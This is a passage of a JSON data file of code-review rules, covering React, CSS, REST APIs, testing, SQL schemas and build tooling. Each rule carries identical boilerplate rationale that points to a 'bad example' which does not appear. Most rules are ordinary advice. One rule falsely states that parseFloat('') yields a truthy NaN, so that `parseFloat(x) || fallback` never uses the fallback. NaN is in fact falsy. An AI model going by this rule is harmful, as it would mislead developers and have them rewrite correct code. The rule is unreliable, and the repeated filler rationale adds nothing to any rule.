managed. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Avoid force-pushing a PR branch once review has started; merge the base instead","rule":"After a review is requested, prefer merging the base branch into your PR branch over rebase+force-push, which rewrites shared history and breaks others' tracking of your changes.","apiRule":"After a review is requested, prefer merging the base branch into your PR branch over rebase+force-push, which rewrites shared history and breaks others' tracking of your changes. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Add tests with real-world fixtures before optimizing a function","rule":"Before rewriting/optimizing tricky logic, lock its behavior with unit tests built from actual production inputs so the optimization is provably safe.","apiRule":"Before rewriting/optimizing tricky logic, lock its behavior with unit tests built from actual production inputs so the optimization is provably safe. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Defer window/document access to runtime to stay SSR-safe","rule":"Don't touch window at module top level (it throws 'window is not defined' during SSR); access it lazily inside functions or effects that run only in the browser.","apiRule":"Don't touch window at module top level (it throws 'window is not defined' during SSR); access it lazily inside functions or effects that run only in the browser. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Don't rely on useId for IDs shared across multiple hydration roots","rule":"useId restarts its counter per hydration mount point, so multiple roots produce colliding ids (r0, r0, r0); don't use it where IDs must be globally unique on the page.","apiRule":"useId restarts its counter per hydration mount point, so multiple roots produce colliding ids (r0, r0, r0); don't use it where IDs must be globally unique on the page. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: stack specific.","whenToApply":"Priority: P0. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"stack-specific"},{"title":"Choose HTML elements for their semantic meaning, not by habit","rule":"Use article/section/etc. only when the content genuinely is that, and justify the choice over a plain div/span; otherwise prefer the neutral element.","apiRule":"Use article/section/etc. only when the content genuinely is that, and justify the choice over a plain div/span; otherwise prefer the neutral element. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep error/title handling out of a component named for a list","rule":"A component called *List should render the list; move surrounding concerns like fetching, error state, and the title to the parent so the name stays honest.","apiRule":"A component called *List should render the list; move surrounding concerns like fetching, error state, and the title to the parent so the name stays honest. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Reuse existing typography/utility styles instead of redefining them","rule":"Before adding font-size/weight/line-height rules, check whether a shared typography style already covers it and reuse that.","apiRule":"Before adding font-size/weight/line-height rules, check whether a shared typography style already covers it and reuse that. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Don't rely on a parsed-number fallback via ||, because NaN is truthy","rule":"parseFloat('') is NaN, which is truthy, so `parseFloat(x) || fallback` won't use the fallback for empty input; guard explicitly on Number.isNaN or on the raw string.","apiRule":"parseFloat('') is NaN, which is truthy, so `parseFloat(x) || fallback` won't use the fallback for empty input; guard explicitly on Number.isNaN or on the raw string. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Return only the HTTP statuses the client can act on","rule":"Don't invent fine-grained status codes (422, 502, ...) the consumer ignores; the client typically only distinguishes ok vs not-ok, so return 200/4xx/500 and log the rest.","apiRule":"Don't invent fine-grained status codes (422, 502, ...) the consumer ignores; the client typically only distinguishes ok vs not-ok, so return 200/4xx/500 and log the rest. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't mix .then() with async/await in the same flow","rule":"Stick to one async style; combining await with .then() chains hurts readability and error handling.","apiRule":"Stick to one async style; combining await with .then() chains hurts readability and error handling. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Return resource data in the response body, not in custom headers","rule":"Headers are for transport/protocol metadata; do not stuff payload data such as counts, lists, or business values into custom response headers as a special case — put it in the response body where clients expect it.","apiRule":"Headers are for transport/protocol metadata; do not stuff payload data such as counts, lists, or business values into custom response headers as a special case — put it in the response body where clients expect it. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Do not overload pagination parameters with a hidden mode meaning","rule":"A numeric pagination parameter like limit or offset should carry only its literal, conventional meaning; never repurpose a special value (e.g. limit=0) to silently switch the endpoint into a different mode such as 'return counts only'.","apiRule":"A numeric pagination parameter like limit or offset should carry only its literal, conventional meaning; never repurpose a special value (e.g. limit=0) to silently switch the endpoint into a different mode such as 'return counts only'. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Pass cohesive related parameters as one object","rule":"Keep values that belong to the same concept (e.g. ad-targeting keywords) grouped in a single object prop rather than flattening them into many sibling props, keeping call sites scannable and the prop surface small.","apiRule":"Keep values that belong to the same concept (e.g. ad-targeting keywords) grouped in a single object prop rather than flattening them into many sibling props, keeping call sites scannable and the prop surface small. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Isolate per-user data from cacheable, user-agnostic routes","rule":"Load per-user state (follow status, personalization) in a separate resource route/loader so user-agnostic pages stay cacheable and per-user data never enters a shared cache.","apiRule":"Load per-user state (follow status, personalization) in a separate resource route/loader so user-agnostic pages stay cacheable and per-user data never enters a shared cache. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Let the router own data fetching, optimistic UI, and cancellation","rule":"For data loading and mutations in a routed app, use the router's loader/action and fetcher APIs (which handle abort signals, revalidation and optimistic UI) instead of hand-rolling fetch + abort logic inside components.","apiRule":"For data loading and mutations in a routed app, use the router's loader/action and fetcher APIs (which handle abort signals, revalidation and optimistic UI) instead of hand-rolling fetch + abort logic inside components. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Don't force `nowrap` on text that may grow","rule":"Avoid `white-space: nowrap` on message/label text that could be longer (other languages, future copy); let it wrap and solve overflow another way (e.g. `flex-shrink: 0` on siblings).","apiRule":"Avoid `white-space: nowrap` on message/label text that could be longer (other languages, future copy); let it wrap and solve overflow another way (e.g. `flex-shrink: 0` on siblings). Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Don't fix element height in a way that clips content","rule":"Avoid hard `height` on content containers that can overflow; achieve a minimum size with `min-h-*` or vertical padding so longer content can grow instead of being clipped.","apiRule":"Avoid hard `height` on content containers that can overflow; achieve a minimum size with `min-h-*` or vertical padding so longer content can grow instead of being clipped. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Don't import test helpers that are configured as globals","rule":"When the test runner exposes `describe`/`it`/`expect`/`vi` as globals, don't import them in each file; the import is redundant noise.","apiRule":"When the test runner exposes `describe`/`it`/`expect`/`vi` as globals, don't import them in each file; the import is redundant noise. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Make negative/absence assertions fail loudly, not by timing out","rule":"Avoid assertions that pass simply because an element eventually disappears or a duration elapses; tie the assertion to a deterministic signal so a regression actually fails the test.","apiRule":"Avoid assertions that pass simply because an element eventually disappears or a duration elapses; tie the assertion to a deterministic signal so a regression actually fails the test. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Use retryable assertions for async UI, not one-shot reads","rule":"Assert on async/eventual UI with retrying matchers (`expect.element` / `expect.poll`) so the assertion waits for state to settle, instead of reading an element count once and risking a race.","apiRule":"Assert on async/eventual UI with retrying matchers (`expect.element` / `expect.poll`) so the assertion waits for state to settle, instead of reading an element count once and risking a race. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Avoid the function form of config when a static object works","rule":"Prefer the plain-object form of a config (e.g. Vite `defineConfig({...})`) over the function form unless you genuinely need the injected args, because the function form makes the type checker flag the whole call instead of the offending field.","apiRule":"Prefer the plain-object form of a config (e.g. Vite `defineConfig({...})`) over the function form unless you genuinely need the injected args, because the function form makes the type checker flag the whole call instead of the offending field. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Only use resource hints on the tags they actually affect","rule":"Attributes like `fetchpriority` are ignored on `preconnect` links; apply them only to tags that honor them (e.g. preload/scripts), and don't pre-optimize without evidence it helps.","apiRule":"Attributes like `fetchpriority` are ignored on `preconnect` links; apply them only to tags that honor them (e.g. preload/scripts), and don't pre-optimize without evidence it helps. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Prefer plain class joining over tailwind-merge for conditional classes","rule":"Use a simple class-joining helper (clsx) and make responsive/conditional classes explicit instead of relying on tailwind-merge to silently resolve mutually exclusive utilities, which makes intent unclear and emits dead classes.","apiRule":"Use a simple class-joining helper (clsx) and make responsive/conditional classes explicit instead of relying on tailwind-merge to silently resolve mutually exclusive utilities, which makes intent unclear and emits dead classes. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Don't declare types you don't use","rule":"Only define type/interface declarations that are actually referenced; unused declarations are noise that readers must wade through.","apiRule":"Only define type/interface declarations that are actually referenced; unused declarations are noise that readers must wade through. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Wrap a bare `children` early-return in a fragment","rule":"When a component returns its `children` directly, wrap it in a fragment so the return type is a valid React element.","apiRule":"When a component returns its `children` directly, wrap it in a fragment so the return type is a valid React element. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Define effect-only helpers inside the effect to avoid useCallback","rule":"If a function is only used inside one effect, declare it inside that effect instead of wrapping it in useCallback and listing it as a dependency.","apiRule":"If a function is only used inside one effect, declare it inside that effect instead of wrapping it in useCallback and listing it as a dependency. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Avoid relying on emoji rendering in UI labels","rule":"Emoji render differently across operating systems and devices, so prefer text or controlled icon assets in navigation and UI labels for consistent appearance.","apiRule":"Emoji render differently across operating systems and devices, so prefer text or controlled icon assets in navigation and UI labels for consistent appearance. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Avoid redundant wrapper elements and duplicated layout classes","rule":"Do not add a layout/grid wrapper when a child component already provides the same layout; redundant wrappers add noise and can cause double-applied styles.","apiRule":"Do not add a layout/grid wrapper when a child component already provides the same layout; redundant wrappers add noise and can cause double-applied styles. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Extract a helper instead of dense inline double-casting","rule":"Pull hard-to-read inline logic with multiple casts into a small named helper that documents intent and isolates the unsafe casts.","apiRule":"Pull hard-to-read inline logic with multiple casts into a small named helper that documents intent and isolates the unsafe casts. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Validate enum/source params against an allowlist with a safe fallback","rule":"Check incoming string params against a known set of allowed values and fall back to a default rather than passing arbitrary input downstream.","apiRule":"Check incoming string params against a known set of allowed values and fall back to a default rather than passing arbitrary input downstream. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Move a single-use helper next to its only consumer and delete the leftover file","rule":"If a helper file has one remaining function used by exactly one module, inline it there and remove the now-empty file.","apiRule":"If a helper file has one remaining function used by exactly one module, inline it there and remove the now-empty file. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Return pagination metadata alongside paged results","rule":"Once an endpoint accepts limit/offset, include total/count metadata in the response so clients can drive pagination correctly.","apiRule":"Once an endpoint accepts limit/offset, include total/count metadata in the response so clients can drive pagination correctly. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Split functions that bundle unrelated responsibilities","rule":"When a single function does two unrelated things, split it so duplicated logic becomes obvious and each piece is reusable.","apiRule":"When a single function does two unrelated things, split it so duplicated logic becomes obvious and each piece is reusable. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Have factories and getters return the interface, not the concrete class","rule":"Declare factory/getter return types as the abstraction so callers depend on the interface rather than the implementation.","apiRule":"Declare factory/getter return types as the abstraction so callers depend on the interface rather than the implementation. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Sanitize and bound user input before building search queries","rule":"Trim, length-cap, and early-return on empty user-supplied search terms before injecting them into a search-engine query, even for non-SQL backends.","apiRule":"Trim, length-cap, and early-return on empty user-supplied search terms before injecting them into a search-engine query, even for non-SQL backends. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"universal"},{"title":"Make return types reflect that null is possible","rule":"If a function can return null because its inputs are nullable, annotate the return type as nullable instead of claiming a non-null type.","apiRule":"If a function can return null because its inputs are nullable, annotate the return type as nullable instead of claiming a non-null type. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Validate type before transforming or coercing input","rule":"When a transform assumes a string (or other type), guard the type first since validators/transformers may run in an order that lets null or non-strings through.","apiRule":"When a transform assumes a string (or other type), guard the type first since validators/transformers may run in an order that lets null or non-strings through. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Handle nullable return values before calling methods on them","rule":"When a helper can return null/undefined, guard the result before dereferencing it so you don't throw on the null case.","apiRule":"When a helper can return null/undefined, guard the result before dereferencing it so you don't throw on the null case. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"universal"},{"title":"Delete unused code instead of leaving it in","rule":"Remove functions, providers, fields, and env vars that nothing references; don't leave leftover or speculative code behind.","apiRule":"Remove functions, providers, fields, and env vars that nothing references; don't leave leftover or speculative code behind. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Split oversized files into focused units","rule":"Break a file that has grown large and multi-purpose into smaller modules organized by responsibility.","apiRule":"Break a file that has grown large and multi-purpose into smaller modules organized by responsibility. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Hoist invariant data structures out of the function body","rule":"When a constant lookup table or config object never changes per call, declare it at module scope instead of rebuilding it inside the function.","apiRule":"When a constant lookup table or config object never changes per call, declare it at module scope instead of rebuilding it inside the function. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Add progress logging to long-running or one-off data scripts","rule":"Even for one-time backfills, log batch progress so you can see where the script succeeded or failed if something goes wrong mid-run.","apiRule":"Even for one-time backfills, log batch progress so you can see where the script succeeded or failed if something goes wrong mid-run. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Drive batched data backfills by affected-row count, not a precomputed total","rule":"In a batched UPDATE loop, use the rows-affected returned by each statement to decide when to stop, instead of a separate up-front COUNT that can drift as data changes.","apiRule":"In a batched UPDATE loop, use the rows-affected returned by each statement to decide when to stop, instead of a separate up-front COUNT that can drift as data changes. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Keep each migration focused on a single table or concern","rule":"Split unrelated schema changes into separate migration files so each can be tested, reasoned about, and rolled back independently.","apiRule":"Split unrelated schema changes into separate migration files so each can be tested, reasoned about, and rolled back independently. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Don't add a redundant index that the engine already creates for foreign keys","rule":"MySQL/MariaDB auto-create an index for every foreign key, so adding an explicit index on the same column is redundant unless you need a different index type or composite ordering.","apiRule":"MySQL/MariaDB auto-create an index for every foreign key, so adding an explicit index on the same column is redundant unless you need a different index type or composite ordering. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Include every required relationship as an explicit foreign key in the schema","rule":"When designing a table, model all owning/parent relationships (e.g. owner user, referenced product) as explicit foreign key columns rather than leaving them implicit or absent.","apiRule":"When designing a table, model all owning/parent relationships (e.g. owner user, referenced product) as explicit foreign key columns rather than leaving them implicit or absent. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Match a foreign key column's type exactly to the referenced primary key","rule":"Foreign key columns must use the same numeric type and signedness as the primary key they reference, so referential integrity and indexing work correctly.","apiRule":"Foreign key columns must use the same numeric type and signedness as the primary key they reference, so referential integrity and indexing work correctly. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Use unsigned integer types for primary keys that can never be negative","rule":"Declare auto-increment primary keys and other never-negative numeric columns as UNSIGNED to double the positive range and document intent.","apiRule":"Declare auto-increment primary keys and other never-negative numeric columns as UNSIGNED to double the positive range and document intent. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Don't pass props or classes that have no effect","rule":"Drop a passed className/prop when the receiving element already gets that styling internally; passing it from outside is dead code that misleads readers.","apiRule":"Drop a passed className/prop when the receiving element already gets that styling internally; passing it from outside is dead code that misleads readers. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Re-throw errors so a failing build step actually fails","rule":"When a build/CI step's subcommand fails, log and re-throw so the process exits non-zero; prefer default error handling over a custom message that risks dropping the stack trace.","apiRule":"When a build/CI step's subcommand fails, log and re-throw so the process exits non-zero; prefer default error handling over a custom message that risks dropping the stack trace. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"universal"},{"title":"In build plugins, use the resolved config root, not process.cwd()","rule":"Build tooling/plugins should read the bundler's resolved root rather than process.cwd(), so they stay correct when the project root differs or the command is run from a subdirectory.","apiRule":"Build tooling/plugins should read the bundler's resolved root rather than process.cwd(), so they stay correct when the project root differs or the command is run from a subdirectory. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Name functions for what they actually do","rule":"Pick a name that reflects the function's real behavior; if it slugifies for URLs call it that, if it normalizes inconsistent inputs into one stable value name it for that — avoid vague or misleading names.","apiRule":"Pick a name that reflects the function's real behavior; if it slugifies for URLs call it that, if it normalizes inconsistent inputs into one stable value name it for that — avoid vague or misleading names. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't guard .map() with a length check","rule":"map() over an empty array simply produces an empty array, so a preceding `arr.length > 0 &&` guard around a map is redundant.","apiRule":"map() over an empty array simply produces an empty array, so a preceding `arr.length > 0 &&` guard around a map is redundant. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use a component library's render-prop state instead of manual index comparison","rule":"When a headless/UI library exposes selected/active/focus state via render props, use it rather than re-deriving active state by comparing indices yourself.","apiRule":"When a headless/UI library exposes selected/active/focus state via render props, use it rather than re-deriving active state by comparing indices yourself. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Avoid throwing from pure utilities that callers must wrap in try/catch","rule":"A general-purpose helper that throws forces every call site into a try/catch; prefer returning a safe empty/sentinel value or validating at the boundary unless failure is truly exceptional.","apiRule":"A general-purpose helper that throws forces every call site into a try/catch; prefer returning a safe empty/sentinel value or validating at the boundary unless failure is truly exceptional. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Narrow nullable values before numeric comparisons","rule":"Check the type/presence of a possibly-undefined value before comparing it numerically, rather than relying on coercion or comparing undefined against numbers.","apiRule":"Check the type/presence of a possibly-undefined value before comparing it numerically, rather than relying on coercion or comparing undefined against numbers. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Don't pass props that can be derived from existing state","rule":"If a flag can be computed from data you already receive, drop the redundant prop and derive it, which simplifies rendering and fetching logic.","apiRule":"If a flag can be computed from data you already receive, drop the redundant prop and derive it, which simplifies rendering and fetching logic. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Use camelCase for SVG presentation attributes in JSX","rule":"In JSX/TSX, write SVG attributes in camelCase (clipRule, fillRule, strokeWidth) rather than the HTML hyphenated form, which is invalid JSX and errors under strict TypeScript.","apiRule":"In JSX/TSX, write SVG attributes in camelCase (clipRule, fillRule, strokeWidth) rather than the HTML hyphenated form, which is invalid JSX and errors under strict TypeScript. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Create shared, unchanging test fixtures once in 